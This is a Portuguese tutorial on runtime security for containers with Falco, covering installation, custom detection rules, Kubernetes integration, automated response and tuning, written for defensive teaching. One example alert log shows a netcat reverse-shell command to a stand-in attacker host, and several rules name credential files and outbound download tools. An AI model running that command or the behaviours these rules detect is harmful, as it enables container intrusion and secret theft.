Container runtime security: Falco e detecção de comportamento anômalo

1. Introdução à Segurança em Runtime de Containers

A segurança de containers tradicionalmente foca em duas fases: build (imagens seguras, análise de vulnerabilidades) e deploy (políticas de rede, controle de acesso). No entanto, a fase de runtime — quando o container está efetivamente em execução — é onde ataques reais acontecem. Um container pode iniciar perfeitamente seguro e, minutos depois, ser comprometido por uma vulnerabilidade zero-day ou por uma configuração incorreta.

Ataques comuns em runtime incluem:
- Escalonamento de privilégio: usando --privileged ou montagens inadequadas do Docker socket
- Execução de shell reverso: atacante obtém acesso interativo ao container
- Leitura de secrets em memória: variáveis de ambiente ou arquivos montados indevidamente

É aqui que entra o Falco, uma ferramenta CNCF graduated que atua como um "sensor de intrusão" para containers. Diferente de soluções baseadas em assinaturas, o Falco monitora syscalls do kernel em tempo real, permitindo detectar comportamentos anômalos mesmo quando o ataque é desconhecido.

2. Arquitetura e Funcionamento do Falco

O Falco possui três componentes principais:

  1. Driver: responsável por capturar syscalls do kernel. Pode ser um kernel module, um programa eBPF ou o moderno modern_bpf (mais seguro e portátil)
  2. Biblioteca libsinsp: interpreta os eventos brutos do kernel, enriquecendo-os com contexto (processo, container, namespace)
  3. Engine de regras: avalia cada evento contra um conjunto de regras YAML, decidindo se deve gerar um alerta

O fluxo de detecção é simples e eficiente:

Evento do kernel → Driver (eBPF) → libsinsp → Engine de regras → Alerta (stdout, syslog, gRPC)

3. Instalação e Configuração Inicial

No Kubernetes, a instalação padrão é via Helm:

helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
helm install falco falcosecurity/falco \
  --set driver.kind=ebpf \
  --namespace falco --create-namespace

A escolha do driver é crítica:
- Kernel module: maior performance, mas exige compilação e pode ser bloqueado por security policies
- eBPF: mais seguro, não requer módulo kernel, funciona em ambientes restritos (GKE Autopilot, EKS Fargate)

O arquivo falco.yaml permite configurar outputs:

# Exemplo de configuração de output para syslog
json_output: true
json_include_output_property: true
syslog_output:
  enabled: true
  priority: warning

4. Regras de Detecção de Comportamento Anômalo

Cada regra no Falco segue esta estrutura:

- rule: Nome da Regra
  desc: Descrição detalhada
  condition: (evt.type=execve and proc.name=curl)
  output: "Comando curl detectado (user=%user.name command=%proc.cmdline)"
  priority: WARNING
  tags: [network, mitre_execution]

Regras pré-definidas importantes:
- Spawned interactive shell: detecta exec interativo em container
- Read sensitive file: monitora acesso a /etc/shadow, /etc/kubernetes/admin.conf
- Mount namespace change: alerta sobre montagens suspeitas de socket Docker

Regra customizada: bloquear download de ferramentas suspeitas

- macro: allowed_outbound_ips
  condition: (fd.sip in (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16))

- rule: Detect External Wget
  desc: Alerta quando wget ou curl são usados para IPs externos
  condition: >
    evt.type=execve and 
    (proc.name=wget or proc.name=curl) and 
    not allowed_outbound_ips
  output: >
    Download externo detectado (user=%user.name command=%proc.cmdline container=%container.id)
  priority: CRITICAL
  tags: [network, malware]

5. Integração com Kubernetes e Cloud Native

Quando instalado como DaemonSet, o Falco automaticamente enriquece eventos com metadados do Kubernetes:

18:45:32.123456789: Critical Shell in container
  (user=root command=bash -c "nc -e /bin/bash attacker.com 4444" 
   k8s.ns=production k8s.pod=app-7d8f9c k8s.container=app 
   image=nginx:latest)

Caso prático: detectar exec em pod com service account de alta permissão

- rule: Exec in High-Privilege SA Pod
  condition: >
    evt.type=execve and 
    proc.name in (bash, sh, zsh) and 
    k8s.ns.name in (kube-system, istio-system)
  output: >
    Exec em pod de sistema (namespace=%k8s.ns.name pod=%k8s.pod.name)
  priority: CRITICAL

Para resposta automatizada, o Falco Talon pode executar ações como kill pod ou taint node:

# Exemplo de ação no Falco Talon
- match:
    rule: Exec in High-Privilege SA Pod
  actions:
    - action: Kubernetes:DeletePod
    - action: Kubernetes:TaintNode
      parameters:
        key: "compromised"
        effect: "NoSchedule"

6. Personalização e Redução de Falsos Positivos

Falsos positivos são o maior desafio em runtime security. Estratégias para reduzi-los:

  1. Ajuste de prioridades: use priority: INFO para comportamentos suspeitos mas legítimos
  2. Exceptions: ignore padrões específicos
- rule: Read Sensitive File
  exceptions:
    - name: container_build
      fields: [container.image.repository]
      values: ["python:3.11-slim", "node:20-alpine"]
  condition: >
    evt.type=open and 
    fd.name in (/etc/shadow, /etc/gshadow) and 
    not container_build
  1. Teste com dry-run:
falco --dry-run -r /etc/falco/rules.d/custom.yaml
  1. Use falco-event-generator para simular ataques e validar regras:
kubectl run event-generator --image=falco/event-generator:latest
kubectl exec -it event-generator -- /event-generator run syscall

7. Monitoramento e Observabilidade dos Alertas

Para integrar com SIEM, configure output JSON para syslog:

program_output:
  enabled: true
  program: "logger -t falco -p local0.info"

Métricas Prometheus são expostas na porta 8765:

# Prometheus config para coletar métricas do Falco
- job_name: 'falco'
  kubernetes_sd_configs:
    - role: pod
  relabel_configs:
    - source_labels: [__meta_kubernetes_pod_label_app_kubernetes_io_name]
      regex: falco
      action: keep

No Grafana, crie dashboards para:
- Top 5 regras disparadas
- Containers com mais eventos críticos
- Taxa de falsos positivos por regra

8. Boas Práticas e Próximos Passos

Estratégia de deploy de regras:
- Use canary deployments: aplique novas regras em um node primeiro
- Monitore por 24h antes de rolling update completo
- Mantenha um changelog de regras

Combinação com outras ferramentas:
- gVisor: sandbox de runtime para containers não confiáveis
- OPA/Gatekeeper: controle de admission para evitar deployments inseguros

Checklist de segurança runtime para Devs:
- [ ] Regras essenciais ativas: shell interativo, leitura de secrets, mount de socket
- [ ] Logs centralizados no SIEM corporativo
- [ ] Revisão trimestral de regras e falsos positivos
- [ ] Teste de penetração periódico com falco-event-generator

Referências